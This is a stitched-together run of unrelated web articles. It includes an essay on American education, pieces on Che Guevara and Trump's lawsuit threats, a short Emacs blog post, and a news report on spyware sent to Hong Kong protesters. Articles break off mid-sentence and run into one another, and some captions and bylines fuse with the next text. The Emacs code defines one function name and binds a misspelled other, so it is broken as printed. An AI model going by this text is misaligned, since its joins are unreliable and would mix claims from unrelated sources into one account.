The fact that a mere 13% of those under 30 could be bothered to vote in the recent midterm elections is testimony to the disengagement of the young.
What the OECD’s numbers do not capture is the hollowness of American education. Schools are in a terrible state. American culture does not prize intelligence, inquiry or thought. And American universities, including some of the biggest brand names in the world, are more like country clubs with prized memberships instead of homes of learning.
A Culture of Circuses
Baseball, basketball and American football have taken over the country in the same way as the FIFA World Cup in Brazil took over the world. Most cultures across time and space have their public spectacles of sporting contests. America takes it to the extreme by focusing on it so much that developments in science, issues in society and questions about the economy are banished to the margins. In Germany or in England, football is religion and loyalties to clubs can be fanatical. However, unlike America, sports coverage is not omnipresent on all screens, all the time.
Celebrities command attention when people get a break from sport. America has always been a land besotted with “stars.” Even Friedrich von Hayek was converted into one when he first visited this country. His greatly simplified ideas condensed into a Readers Digest issue became the equivalent of Mao’s Little Red Book for the American right. The cult of the Kardashians has taken America’s celebrity fixation to a new level of craziness.
Rome had the circus. Today, America has both television and social media. The rest of the world also suffers from the twin onslaught but none to the same degree as the land of Uncle Sam. A vast majority of Americans now spend increasing amounts of time on social media in general and Facebook in particular. While Facebook has basked in the glory of causing the now failed-Egyptian revolution, the truth is that Facebook is depoliticizing America.
Pew Research Center finds that the “spiral of silence” prevails on Facebook and Twitter when it comes to political issues. The “news feed” on Facebook constantly distracts. News is now noise. Consciousness is clouded by incessant information about what your friends might be up to. The retreat into the virtual has lowered engagement with the real. The fact that a mere 13% of those under 30 could be bothered to vote in the recent midterm elections is testimony to the disengagement of the young.
Trained To Jump Hoops
William Deresiewicz, the author of Excellent Sheep, has recently written an article titled, “Don’t Send Your Kid to the Ivy League.” The article took America by storm and makes the argument that “elite education manufactures young people who are smart and talented and driven, yes, but also anxious, timid, and lost, with little intellectual curiosity and a stunted sense of purpose: trapped in a bubble of privilege, heading meekly in the same direction, great at what they’re doing but with no idea why they’re doing it.”
It sounds harsh but rings true. Students at American schools are largely cookie cutter clones who shy away from controversy. Discussions are usually vacuous because everyone tiptoes around the big issues and no one wants to cause offence. Students are terrified of failure and rarely question authority. Unsurprisingly, American institutions are increasingly characterized by intellectual pusillanimity.
… the fixation with spreadsheets, presentations and diaries assumes precedence over intellectual inquiry. Far from being lazy, students are a touch too busy because they are too afraid to fail.
But students are not to blame. They are products of the culture in which they have been raised. What gets them ahead is a perfect score. This obsession with testing has created a generation that has learnt to test instead of discovered how to learn. Earlier, standardized tests might have meant something. Today, they are meaningless. They are too easily gamed. American applications have become an elaborate exercise in marketing and, sometimes, fraud: They favor the affluent who can hire tutors and coaches to craft perfect stories for admission officers who are looking for a Hollywood-style superhero.
Conformists are rewarded because they are willing to meet silly and arbitrary criteria. These include internships, volunteering and clear life goals. Those who are exploring life would simply not make it. Classes in colleges are often taught shabbily and over-worked instructors reward regurgitation. Students learn to run like hamsters on a wheel in order to achieve perfect grades that are deemed to reflect their entire worth.
Chains of Debt
I travel widely and divide time between many continents. American students come across as among the most anxious in the world. In other places, discussions continue after lectures. In America, this rarely happens. When it does, the students involved are either foreigners or Americans who have spent time abroad. American students are over-scheduled and are too often juggling a million things at once.
Why are they not sitting on the lawns and discussing life, love, literature and more? Why are they not hosting debates and discussions on the great issues of our times? Why are they forgetting to be young and living such time truncated lifestyles? A key reason seems to be the ridiculously high fees charged by schools that leave many students with a mountain of debt.
American education needlessly costs an arm and a leg. Colleges have fancy buildings, tons of equipment and an army of administrators. The already high costs of getting a degree are rising exponentially. This means that most students and their families end up incurring significant debt.
This debt is federally subsidized and creates perverse incentives for schools to keep raising their fees. However, this debt is dangerous. Even bankruptcy does not get rid of it. Therefore, students feel enormous pressure to get decent jobs to pay off their debts. Even students from affluent backgrounds feel the pressure to justify their parents’ expense by ceaseless activity. Therefore, the fixation with spreadsheets, presentations and diaries assumes precedence over intellectual inquiry. Far from being lazy, students are a touch too busy because they are too afraid to fail. They have become serfs with no time or space to think.
Some will say that the American system is still the best in the world. Asia is all about rote learning while Europe is immersed in la dolce vita. However, nowhere in the world are students paying so much for so little. America now has an education system that is curbing thought and inflating debt. It is creating a generation that fears its own shadow and is no longer free.
The views expressed in this article are the author’s own and do not necessarily reflect Fair Observer’s editorial policy.
Jannis Tobias Werner / ShutterstockWhen Sen. Marco Rubio, R-Fla., chastised celebrity couple Jay-Z and Beyonce in a TV interview for their recent trip to Cuba, he especially criticized Jay-Z for his adoration of Che Guevara.
“I think Jay-Z needs to get informed,” Rubio said. “One of his heroes is Che Guevara. Che Guevara was a racist. Che Guevara was a racist that wrote extensively about the superiority of white Europeans over people of African descent, so he should inform himself [about] the guy that he’s propping up.”
Jay-Z, Carlos Santana, and Johnny Depp — who have all been spotted in Guevara t-shirts in the last decade — have, as Rubio correctly noted, largely ignored the issue. Yet, some leftist defenders of Guevara do occasionally deal with Guevara's views on race. A blogger named Faraji Toure at “Afro-Punk” notes a troubling passage from Guevara’s 1952 diary:
“The blacks, those magnificent examples of the African race who have maintained their racial purity thanks to their lack of an affinity with bathing, have seen their territory invaded by a new kind of slave: the Portuguese.”
“The black is indolent and a dreamer; spending his meager wage on frivolity or drink; the European has a tradition of work and saving, which has pursued him as far as this corner of America and drives him to advance himself, even independently of his own individual aspirations.”
Toure is quick to defend Guevara, noting that he was then only 24 and that this was his first experience with the African diaspora. But this is an unlikely excuse. Jon Lee Anderson, who recounts the incident in his oft-cited biography, Che Guevara: A Revolutionary Life, notes that Che had already visited Trinidad and Brazil prior to making this statement. Indeed it is quite likely that Che in his travels had already encountered scores of Latin Americans of African heritage in Colombia and Bolivia.
The other argument often made in defense of Che is that he wrote such racist language before his participation in the Cuban Revolution and that he subsequently condemned racism. Guevara did just that in a number of post-revolutionary speeches after overthrowing Cuban leader Fulgencio Batista.
Jeanette Alcon, whose grandfather was a member of the unit that eventually captured Che Guevara in Bolivia, offered this rather balanced view of Guevara’s racial history:
“Che Guevara was a doctor that helped villages cope with leprosy before the revolution,” Alcon explained. “A lot of the villages had indigenous people living in them. I don’t think he was racist per se, but then again I don’t think he cared much for the Bolivian people. Communism needed to spread and Bolivia was seen as ripe for communist revolution.”
Che’s views on racism smack of similar political opportunism. When it was useful to abandon his previous racial views to fight in the Cuban revolution, he readily did so. When it was convenient to use racial stereotypes to cover-up the deficiencies of his fellow Cubans he didn't hesitate.
In fact, an increasing number of modern leftists and anarchists are waking up to the fact that Che was not a'revolutionary hero', but just one of a long line of communist murderers of the 20th century.
Che should be remembered for the political terror he was involved in and publicly defended on a number of occasions. This was a man who was a defender of the North Korean regime and who deeply mourned the death of Joseph Stalin.
Even sympathetic biographers, such as John Anderson, concede that Che oversaw many executions at Cuba’s notorious La Cabaña prison following the 1959 revolution. Though the exact number of killed is unclear, thousands were killed in Cuba’s post-revolutionary purge and forced labor camps. There is even some evidence that Guevara personally carried out some of the murders associated with the revolutionary period.
And, as the Huffington Post points out, Guevara hoped the Soviets would launch nuclear attacks on American cities, for some reason confident that the communists would win a nuclear war that would have killed millions.
Perhaps the best reason for condemnation of Guevara then isn’t the racist statements buried away in his diaries but in fact the very visible blood on his hands.
Joseph Hammond is a former Cairo correspondent with Radio Free Europe and former editor for a publication focused on the energy sector. A version of this article was published on DoubleThink(Reuters) - A Texas teenager who contracted a rare brain-eating disease after swimming in a lake about 70 miles (110 km) north of Houston has died, according to his family and local media.
The 14-year-old Michael Riley Jr., a junior Olympian and honor student, seemed to have contracted the disease after he went swimming on Aug. 13 with his track team, his father Mike Riley told KTRK earlier this week.
"It is with a heavy heart, that we let everyone know that Michael John Riley Jr. lost his battle on this earth but won a victory for his place in the arms of our Lord Jesus Christ," the family said in a statement on their Facebook page late on Saturday night.
A spokeswoman for Texas Children's Hospital, where Riley had been listed as a patient, declined to provide information when reached on Sunday, citing patient confidentiality.
The disease is caused by exposure to a single-celled organism known as Naegleria fowleri, often referred to as the brain-eating amoeba.
It is commonly found in warm freshwater such as lakes, rivers and hot springs, as well as soil. It usually infects people when contaminated water enters the body through the nose, according to the U.S. Centers for Disease Control and Prevention. Contracting the brain disease is rare, it said.
The organism is most commonly encountered in the southern United States during the summer, when temperatures are highest, the CDC said. Of 133 people known to have been infected with it in the United States since 1962, only three have survived, the CDC said.
(Reporting by Curtis Skinner in San Francisco; Editing by Marguerita Choy)I've been working on a vue.js project this summer. During the school year I really can't dive into code so it's been fun.
I've already showed you most of the Emacs tools I use for development. Projectile, Ace-Window, IBuffer, Swiper / Ivy and all. One thing I couldn't easily do was arrange windows the way I wanted.
I've been setting up Emacs with one large window and a couple of smaller ones:
+----------------------------------+------------+ | | | | | B | | | | | | | | A +------------+ | | | | | C | | | | | | | | | | +----------------------------------+------------+
I can easily switch the buffer in the window and I can easily switch windows but what I wanted to do was swap the buffer in the large window with one of the smaller buffers and leave focus in the larger buffer:
+----------------------------------+------------+ | | | | | A | | | | | | | | B +------------+ | | | | | C | | | | | | | | | | +----------------------------------+------------+
I started looking at perspective mode and persp mode but neither work with the latest Emacs. After poking around at other packages I realized that ace-window does most of what I wanted. Ace-window has a function that swaps the buffers in two windows named ~ace-swap-window~. The only problem is that it leaves the focus on the window you swap to not the one you started in. Ace-window also has ~aw-flip-window~ which then returns the cursor to the previous window.
With a little elisp, we get the behavior I was looking for which I then bound to ~C-1 z~:
(defun z/swap-windowsn () "" (interactive) (ace-swap-window) (aw-flip-window) ) ( define-key z-map (kbd "w" ) 'z/swap-windows )
The video goes into more details but it shows that if you're not afraid to explore a bit you can pretty much get Emacs to do whatever you want.Two of the state's most exclusive private schools failed adequately to investigate and address allegations of sexual abuse involving students, a royal commission has found.
Senior management of The King's School in Parramatta did not report the alleged sexual assault of a student in 2013 to authorities, despite a police officer's written advice to do so.
Former King's School headmaster Tim Hawkes outside the royal commission in Sydney in 2015. Credit:Daniel Munoz
The inaction was described by the Royal Commission into Institutional Responses to Child Sexual Abuse as "a failure by the senior management of King's".
In its report into harmful sexual behaviour of children in schools, the royal commission also found senior management at Trinity Grammar School in Summer Hill did not adequately investigate allegations that students were being "raped" in the boarding house.Donald Trump sat down with a local television station in Florida at the weekend and turned to one of his favorite topics: lawsuits. And, particularly, how hard it is to win them against the press.
“In England, you have a good chance of winning,” the GOP presidential nominee said. “They have a system where you can actually sue if somebody says something wrong. Our press is allowed to say whatever they want and they can get away with it.”
The press are far from alone, though, on Trump’s list of lawsuit targets he finds out of reach. Lately, he’s taken to threatening every woman who comes forward with an allegation that he sexually assaulted them. Trump uses the threat of a lawsuit more than any other politician in recent history as a tactic against his opponents, or anyone else who he feels has wronged him, though he’s rarely followed through on it.
Below is a partial list that we hope to make comprehensive of folks whom Trump has threatened to sue since he ran for president. If you’ve been on the receiving end of a threat, or know of some person or group who was, email me at [email protected] and we’ll add it to the list.
Meanwhile, enjoy this fabulous Trump clock, which counts the amount of time since he last threatened to sue anybody.
The New York Times
Trump said he was going to sue the Times for publishing details about his tax returns. Lawyers laughed off the threat, and he never followed up on it.
America
If he loses the election and feels he was wronged, Trump has vowed to sue.
Women who accuse him of sexual assault
Trump used his address in Gettysburg over the weekend to say that one of his first acts as president will be to sue all of the many women who are accusing him publicly of sexual assault or harassment. The threat is unlikely to be acted upon, but it serves to intimidate other women from coming forward. It doesn’t appear to be working, as new women who say he assaulted them emerge nearly every day.
Ted Cruz
Sen. Ted Cruz (R-Texas) was not a natural-born citizen, Trump argued, and therefore ineligible to run for president. Trump suggested he’d sue to keep him off the ballot.
The Republican National Committee
Trump warned officials at the RNC they would be “in default of their pledge” if they didn’t step in and tell Cruz to play nice with him. He also threatened to sue the RNC over delegate allocation in Louisiana, because he’d been outmaneuvered on the ground by opponents.
Tony Schwartz
The author of The Art of the Deal told The New Yorker that Trump is a cretin who shouldn’t get anywhere near the White House. Trump threatened to sue.
The Washington Post
At a rally in February, Trump turned to his favorite topic: the media. “If I become president, oh, do they have problems. They’re gonna have such problems,” Trump said of The New York Times, before speaking in more general terms.
“One of the things I’m gonna do … is I’m gonna open up our libel laws so when they write purposely negative and horrible and false articles, we can sue them and win lots of money. We’re gonna open up those libel laws,” he said. “So that when The New York Times writes a hit piece which is a total disgrace, or when The Washington Post … writes a hit piece, we can sue them and win money, instead of having no chance of winning because they’re totally protected.”
People magazine
It was actually Melania Trump who threatened People, but her husband would no doubt be along for the ride.
An anti-Trump T-shirt maker
Trump sent a cease-and-desist letter to a company producing T-shirts that made fun of Trump.
A British student nightclub
This month, a couple of mates put together a poster depicting Trump as a scary joker. He didn’t laugh and threatened to sue.
Univision
“I’m right now suing Univision for $500 million,” Trump said in July 2015, while attacking a Telemundo reporter. He filed the lawsuit after Univision dropped his beauty pageants in response to his remarks about Mexicans being rapists, which Univision said “destroyed the value” of his brand. They settled for undisclosed terms.
José Andrés
He sued the celebrity chef for cutting ties with him in the wake of Trump’s Mexican rapist comments.
Club for Growth
The conservative group tried to galvanize the #NeverTrump movement with a million dollars’ worth of ads against him during the GOP primary. He’ll see you in court, Club for Growth. (Actually, no, he won’t.)
A British artist
Ilma Gore’s sketch of Trump with a tiny penis earned her a different kind of legal threat. He didn’t order a takedown, but rather said he wanted a piece of the action if the artwork sold.
The Associated Press
For a story he didn’t like.
John Kasich
Watch Kasich squirm --- if he is not truthful in his negative ads I will sue him just for fun! — Donald J. Trump (@realDonaldTrump) November 20, 2015
The Huffington Post and Rolling Stone
I had forgotten about this one and, when I stumbled on it, was surprised to realize I had actually replied in real time to it. As I recall, he was tweeting about us in the middle of NCAA basketball.
As dishonest as @RollingStone is I say @HuffingtonPost is worse. Neither has much money - sue them and put them out of business! — Donald J. Trump (@realDonaldTrump) April 7, 2015
Bill Maher
A lot of readers are reminding us of the time Trump threatened to sue Bill Maher to claim a $5 million reward for proving he himself was not sired by an orangutan. He did actually try to sue Maher, but the case was dismissed in late 2013. We know this was before his presidential bid, but here’s the background, just for fun.
Geoffrey Zakarian
Thanks also to readers who noted that Trump sued chef Geoffrey Zakarian after he bailed on Trump’s D.C. hotel in the wake of Trump’s rapist remarks. The family has been unable to fill the space, and Zakarian has counter-sued.Pharmaceutical giant Shire stepped up its defence against a £27bn bid from US rival AbbVie yesterday by outlining a long-term plan it believes will convince investors to keep it independent.
The ADHD drugmaker, which shifted its headquarters to Dublin in 2008 to take advantage of Ireland’s low corporate tax rate, has already rejected three bids from Abbvie, the last one valuing it at £46.26 a share. But in a call to investors and City analysts, Shire, chaired by Susan Kilsby, followed AstraZeneca’s lead by giving long-range sales forecasts for its drugs to help prove that AbbVie’s offer undervalues the business.
The company said it plans to more than double sales to $10bn (£5.8bn) by 2020, citing hyperactivity medicine Vyvanse – which is now also being tested as a treatment for binge eating – and dry-eye disease drug Lifitegrast as key areas of growth.
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
Chief executive Flemming Ornskov said sales could even exceed this figure because the long-term forecasts do not include revenue from future deals. Shire bought rare disease specialist Viropharma for $4.2bn last year and has hinted that it remains on the lookout for other acquisitions. “The board believes that Shire’s focused growth strategy and efficient cost base will continue to deliver significant shareholder value and patient benefits,” he said. “M&A will clearly add growth to the profile. If I included that in the upside it would be way north of $10bn.”
Mr Ornskov said in the medium term sales should hit $6.5bn in 2016. Shire also highlighted the risks associated with AbbVie’s plan to cut its corporate tax bill by redomiciling in Britain – which was also the intention of Astra’s failed suitor Pfizer. Such ambitions have sparked political concerns on both sides of the Atlantic.
In response, AbbVie raised its own outlook for 2014, citing experimental cancer and multiple sclerosis drugs as its own growth areas. The company said it expects earnings-per-share to be between $3.06 and $3.16 this year.
Pharma analysts at Jefferies predict Shire investors would back a deal priced at about £55 a share. Shares in Shire, which hit an all-time high on Friday, fell 68p to 4,303p.
Mick Cooper, analyst at Edison Investment Research, said: “Shire’s understandably robust defence has credibility given the company’s current strong growth and improvement in operating margins. The targets may appear a stretch, but Shire has dominant positions in very attractive niche markets and these should be achievable.”
We’ll tell you what’s true. You can form your own view.
At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.
Subscribe nowRomain Grosjean has named Nico Hulkenberg as his ideal new teammate at Lotus for 2014.
As it stands, even Grosjean's place at the Enstone based team is not guaranteed, even though he said bosses are happy with his performance.
Grosjean told RMC Sport: "It is a very good moment where everything is going pretty well. The car is good and I feel good.
"I feel good here but I think they (Lotus) are trying to solve the financial trouble and it puts everything else on the back foot."
The 'trouble' is a deal with a group of investors known collectively as 'Quantum', who have not signed on the dotted line of a 35 per cent team sale.
If and when it is done, German Hulkenberg will be the hot favourite to switch from Lotus.
But while it is not done, Lotus will be looking at alternatives like Pastor Maldonado, whose PDVSA backing is worth millions, and Felipe Massa, who reportedly has Brazilian Petrobras dollars in tow.
Frenchman Grosjean, however, thinks Hulkenberg is the obvious best choice.
"We would complement each other well," he told the German newspaper Die Welt.
"He is doing a fantastic job with Sauber, after they had a difficult start. But I never doubted that he could go all the way."
Grosjean, a year older than Hulkenberg, was the German's teammate at the F3 team ASM in 2007. Grosjean ended the season champion, with Hulkenberg third.I guess New Hampshire Republicans hate Rick Perry about as much as I do.
In a race where national pundits have declared Rick Perry and Mitt Romney the only two real contenders (with Perry the eventual nominee), a handful of other candidates are putting that thesis to rest.
Start with New Hampshire, which, this winter, will offer up the first primary in the 2012 presidential election season. The newest poll from New Hampshire, released today, shows a few results that are shocking the political world. Well, they're shocking some parts of the political world. People who pay attention to reality aren't nearly as surprised.
Here are the results:
Mitt Romney, 41%
Ron Paul, 14%
Jon Huntsman, 10%
Rick Perry, 8%
Michele Bachmann, 5%
Newt Gingrich 4%
Everyone else has no chance
It's hard to pick out which nugget is the most interesting. I guess we'll go in order.
First off, Ron Paul has moved firmly into second place in New Hampshire. This is huge. A second place finish would be almost as good as a first place finish, believe it or not, for Paul. Why? Well, Romney is expected to win, and win big, in New Hampshire. It's practically his home state, and frankly, Rick Perry type of Republicans scare the living hell out of New Hampshire voters. They remember the Bush years...and not fondly.
Second, Jon Huntsman has moved into third place. The guy was at 1 percent, polling somewhere between Rick Santorum and Bugs Bunny in the last poll, and now he's in third place? If he can duplicate, or even build on these numbers, Huntsman can make a Huckabee-type leap from a nobody to a major candidate.
Third, Paul and Huntsman moving up means bad news for Rick Perry. He really needs to get up to at least third, if not second, to make this a two-person race between Perry and Romney. To do so, he'd have to leap past Huntsman and Paul, neither of whom have much voter overlap with Perry. That is, people who support Huntsman are not likely to find Perry a compelling alternative. Same thing with Ron Paul.
What it means for 2012
First, a bit of caution. Rick Perry is still ahead in Iowa and leads nationally. He has enough regional support in the south, in particular Florida's early primary, where he could conceivably get blown out in New Hampshire and still win.
On the other hand, an 8 percent showing would be a disaster for Perry. Finishing behind Huntsman could be damning for the Texas Governor. Perry starts to lose any credibility as an "electable" candidate if he can't even get to 10 percent in an important state.
Second, Ron Paul is not going away, no matter how many times Fox News dismisses him or the other candidates laugh at him. He recently ruled out a third party run (although I think he could conceivably run as a Libertarian or an independent, if the GOP picks someone crazy) and he is retiring from Congress after this term.
If Paul can pick up more support in New Hampshire, and remain viable in Iowa, he could still potentially pull off what months ago seemed like a long-shot bid for the Oval Office. To win, he |
reporters have received press releases from the White House touting various initiatives with “what they are saying” collections. As we discussed several months ago, it’s a straightforward exercise: the White House will collect praise from various corners, package it together, and send it out as proof of a proposal’s merit.
The point is to generate positive “buzz” about an administration priority by presenting the media with evidence that an idea has been well received – by other news organizations, members of Congress, pundits, advocacy organizations, etc.
As The Week noted yesterday, Donald Trump’s White House has an entirely different approach to this public-relations strategy.
President Trump’s Cabinet had great things to say about the boss’ immigration priorities, a bizarre press release from the White House proved Monday. Instead of quoting nonpartisan groups or experts in the field, the press release cited Attorney General Jeff Sessions, acting Department of Homeland Security Secretary Elaine Duke, Secretary of Commerce Wilber Ross, and Secretary of State Rex Tillerson. The bunch, perhaps unsurprisingly, was in favor of Trump’s priorities: “These are reasonable proposals that will build on the early success of President Trump’s leadership,” raved Sessions. “This plan will work.”
Even by Trump World standards, this kind of propaganda is cringe-worthy. The White House went to the trouble of issuing a press release to highlight praise from Trump’s cabinet about Trump’s agenda.
In other words, Trump administration officials alerted the media to the fact that Trump administration officials like the Trump administration’s policies.
What’s more, yesterday wasn’t the first time the White House pulled this stunt.
In April, the White House also issued a press release celebrating praise from itself. The headline read: “Senior Administration Officials Praise President Donald J. Trump’s ‘Buy American, Hire American’ Executive Order.” It proceeded to quote four members of the president’s team – including far-right aide Stephen Miller – saying nice things about the president’s policy.
In August, they did it again. After the president endorsed the RAISE Act, intended to slash legal immigration to the United States, the White House issued another press release quoting three Trump cabinet members saying how right Trump was to support the proposal.
As a practical matter, Team Trump isn’t doing itself any favors. Yesterday, for example, the president’s far-right list of demands on immigration policy wasn’t well received, so the White House didn’t have any outside praise to package together. But by relying on quotes from themselves, members of the president’s team effectively declared, “We’re apparently the only ones who like this idea.”Democratic National Committee Chair Debbie Wasserman Schultz told the New York Times she continues to oppose legalizing marijuana — even as she has courted alcohol PACs as one of the largest sources of her campaign funding.
Wasserman Schultz, a House Democrat from Florida, said she doesn’t “think we should legalize more mind-altering substances if we want to make it less likely that people travel down the path toward using drugs. We have had a resurgence of drug use instead of a decline. There is a huge heroin epidemic.”
The fifth-largest pool of money the congresswoman has collected for her re-election campaign has been from the beer, wine, and liquor industry. The $18,500 came from PACs including Bacardi USA, the National Beer Wholesalers Association, Southern Wine & Spirits, and the Wine & Spirits Wholesalers of America.
The Centers for Disease Control and Prevention estimates that during a recent period, “excessive drinking was responsible for one in 10 deaths among working-age adults aged 20-64.”
When pushed by interviewer Ana Marie Cox, Wasserman Schultz said that she was “bothered by the drug culture that surrounded my childhood — not mine personally. I grew up in suburbia.”
Cox pointed out that despite the dramatic problem with opiate abuse, the state has not made opiates illegal. Wasserman Schultz responded by saying that there “is a difference between opiates and marijuana.”
She’s right about that. An estimated 8,257 Americans perished from heroin-related drug poisoning in 2013. Nearly twice as many — 16,235 — died from opioid analgesics.
There have been roughly zero deaths from marijuana abuse.
In 2014, 64 percent of self-identified Democrats told Gallup they support marijuana legalization.PlayStation 4 company Sony will sell its entire stake in Final Fantasy developer Square Enix, Sony announced today in a Japanese news release. Translated by the Wall Street Journal, the announcement states that Sony will unload its entire position, 9.52 million shares, in a transaction worth around ¥4.8 billion yen ($47 million).
Major Japanese brokerage firm SMBC Nikko Securities Inc. will oversee the transfer. The deal is expected to be officially closed on April 17. It is the latest example of Sony attempting to become more efficient and boost profitability.
In the past year, Sony has announced that it will sell two major office buildings, lay off thousands of employees, and even sell its PC division as a means to return to profitability.
You might be surprised to learn that Sony held a stake in Square Enix, but in fact the PlayStation company's investment in the Final Fantasy studio dates back to the early 2000s. The Wall Street Journal points out that Sony actually held 8.2 percent of Square Enix's total shares.Republican likely 2016 presidential candidate Bobby Jindal seems to have already has chosen his running mate: Jindal/Robertson 2016!
At a Good Friday prayer breakfast last week in Cedar Rapids, Iowa, Republican Louisiana Governor Bobby Jindal didn't officially announce his candidacy for the White House in 2016, but he pretty much announced his top choice for his running mate: reality TV star and son of the infamously anti-gay Duck Dynasty patriarch.
Yes, Bobby Jindal wants Willie Robertson (not Phil) to be on the GOP ticket with him in 2016.
Preaching that there is "an assault on religious liberty in America," Jindal told the crowd that "Christians should not have to choose between operating their businesses and living according to our faith."
No mention of how Muslims, people of other religious faiths, or people of no faith should operate their businesses.
"I don't know about you, but sometimes it feels like evangelical Christians are the only group that it's OK to discriminate against today in this society," he added.
https://www.youtube.com/watch?v=VfsgeadU6GA
Jindal later "introduced the event's keynote speaker, fellow Louisianan and 'Duck Dynasty' star Willie Robertson, whose name towered over Jindal's on the event's stage banner," the Des Moines Register reported.
But it was what happened outside the breakfast afterwards that really raised eyebrows.
Jindal called Robertson "an icon, a cultural figure and a hero of many."
So would Jindal consider Robertson as a running mate should he receive the GOP's nomination?
Asked if he would be on the same ticket as Robertson, Jindal said yes.
"As a running mate? Sure, but as vice president — I assume that's what you're asking — not the other way around," Jindal told reporters with a grin, later adding: "He's a great guy, I think he'd be a great running mate. It'd be a huge pay cut for him, so I'm not sure he'd be willing to do it."
Jindal, as the images above from his Instagram page show, has been cozying up to the Duck Dynasty star for years.
Sadly for Jindal, the fandom doesn't seem to be mutual.
A walk through the Duck Dynasty and Willie Robertson Facebook pages reveal zero photos of Bobby Jindal.
Images via Instagram
See a mistake? Email corrections to: [email protected]"Seeing how disadvantaged aboriginal people are every day makes you want to do something about it," says Aaron Crowe, who does social support for the Purple House. "I just think that it's crazy that this is Australia, and we just have these people living in poverty. And it's really pretty shocking."
The errands, meals and phone calls are frequent, but sometimes the Purple House just needs to be a spot for the aborigines to go. Amenities such as the cabinet filled with aboriginal medicine and the outdoor fire pit provide a few reminders of home that can be a comfort regardless of whether or not a patient has a session scheduled.
"There needed to be a middle place," Brown says. "Somewhere where people felt comfortable that it was their place."
Samuel Nelson at the Purple House in Alice Springs Samuel Nelson at the Purple House in Alice Springs
This comfort is on full display during the morning of September 21, when Samuel Nelson, a 49-year-old aboriginal man who moved from Yuendumu to Alice Springs for dialysis in 2006, decides to stop by the Purple House even though it is not one of his days for treatment. He spends the bulk of his time sitting by the kitchen, snacking, conversing and laughing with three of his fellow patients. When asked what he is doing here, he smiles and holds up his mug.
"Just have a little coffee," he says.
***
The problems of diabetes and kidney disease among the aborigines are not going anywhere. Western Desert nurse Noeline Murray, who works in Kintore, says dialysis patients are increasing at a rate of about nine percent a year, while Brown says the only reason the main renal unit in Alice Springs is not already overflowing is because some patients skip their treatment.
"If everyone turns up to their allotted dialysis," she says, "then there's not enough machines."
People have not settled on one solution to this problem, just as they have not settled on one cause. Randall would like the aborigines to go back to their older and healthier way of living. Murray would like to go through Kintore's community store and remove all the unhealthy foods. Maguire would like to see better education for both the aborigines and health care providers.
All would almost certainly be helpful. And on the night of Sept. 24 in Mutitjulu, an event took place that may have been helpful as well. It was nothing complex -- just a bonfire and a cookout between some aborigines and some young students from Sydney. The two groups appeared to have very little in common, but they spent the dark, warm evening eating, talking and relaxing together by the fire anyway. And at the end of the night, the students gathered together to sing a song to the aborigines, and when they finished, the aborigines responded in kind.
It was a peaceful moment, a happy moment, one that seemed to be blissfully unaware of the complicated and often shameful history between the aborigines and the rest of Australia that has helped create such an unhealthy population in the middle of one of the world's healthiest countries.
The solution lies somewhere in there.
We want to hear what you think about this article. Submit a letter to the editor or write to [email protected] Forsyth County Sheriff’s Office deputy was injured early Saturday when a driver suspected of DUI hit the deputy’s marked cruiser on Ga. 400, the sheriff’s office said.
Rod Reeves (Credit: Forsyth County Sheriff’s Office)
Deputy First Class Rod Reeves was on traffic duty and parked on the shoulder of the northbound lanes near Majors Road when a 2005 Ford Explorer hit the rear of Reeves’ patrol car shortly after 1:30 a.m., according to a news release from the sheriff’s office.
Reeves suffered “very serious and significant injuries,” according to the release, but his injuries are not considered life threatening. Reeves was taken to a hospital.
The driver of the Explorer was identified by authorities as 27-year-old Aaron Riley Russell. No address was given.
Russell was driving with a revoked license as a habitual violator, according to the release. He also was taken to a hospital with non-life-threatening injuries.
“He will be charged with DUI,” sheriff’s spokesman Doug Rainwater said, noting that the crash is under investigation by the Georgia State Patrol.
In other news:ADVERTISEMENT
On Wednesday — just hours after GOP leaders and President Obama vowed to collaborate — Republicans threatened to block all legislation until Democrats agree to a deal to extend the Bush-era tax cuts. The "blunt threat" was delivered in a letter signed by all 42 Senate Republicans, who insist that the Bush tax cuts be extended across the board while Democrats want to end them for the rich. Is this obstructionism on steroids, or simply an attempt to get Democrats to respect the message of the midterm elections? (Watch a Fox News discussion about the GOP strategy)
The GOP is holding hostage the public good: The Republicans' "hostage letter" made their intentions clear, says Steve Benen at Washington Monthly. They were "all smiles" when they had their little talk with Obama this week, but now they're saying "screw bipartisanship." They're willing to block everything from the nuclear START treaty to funding U.S. troops until they get their way on taxes. Despicable.
"All 42 Senate Republicans announce hostage plan"
Republicans are just setting priorities: The main issues before the lame-duck Congress are providing money to keep the government running and deciding whether to extend the Bush tax cuts, says Peter Roff at U.S. News & World Report. Democrats are dithering, so it's up to the GOP to get things done. The electorate doesn't want job-killing tax hikes in this economy, so Republicans are right to hold the line.
"Senate Republicans hold firm against Obama tax hikes"
The logjam could clear quickly: Don't worry, says Chris Good at The Atlantic, this "may not be as much of a drag on legislative action as it sounds." It's a bargaining ploy. If Democrats want to extend unemployment benefits, repeal "Don't ask, don't tell," and approve START before the end of the year, "they're going to have to cut a deal."
"All about the tax cuts"A link to spyware targeting protesters in Hong Kong has been distributed via chats on the messaging app WhatsApp. Code4.HK
A U.S. mobile security firm says it has uncovered smartphone spyware aimed at pro-Democracy protesters in Hong Kong that comes disguised as an app created by a community of socially minded programmers.
When activated, the Android app reveals the smartphone user's geographical location, text messages, address book, emails and more, San Francisco-based Lacoon Mobile Security said this week.
Lacoon notes that a link to download the spyware began spreading via chats on the WhatsApp messaging app in recent weeks. Messages, which arrived from an unknown account, said "Check out this Android app designed by Code4HK for the coordination of Occupy Central!”
Clicking on an accompanying link infects users' phones.
The company says its analysis shows the spyware did not come from the group, and notes that it may have been created by the Chinese government. That's because the servers that distributed it were similar to those described in a 2013 report by computer-security firm Mandiant that accused the Chinese military of using cyberattacks to target U.S. companies, Lacoon said.
"You have very sophisticated malware, you have Hong Kong protesters being targeted, you have a Chinese Windows machine as a server," Lacoon Chief Executive Michael Shaulov told The Wall Street Journal Friday. "It doesn't leave much room to the imagination."
China’s Ministry of Industry and Information Technology and the State Council Information Office did not immediately respond to requests for comment on Friday, a national holiday.
Lacoon also found an iOS version of the spyware that could affect iPhones that have been modified -- or jailbroken -- to download unauthorized apps.
It is unclear how many Android or iOS users may have been affected. "It's very simple social engineering, but it works," Shaulov said, noting that once his company uncovered the spyware this week and wrote about it online, the servers hosting it were shut down.
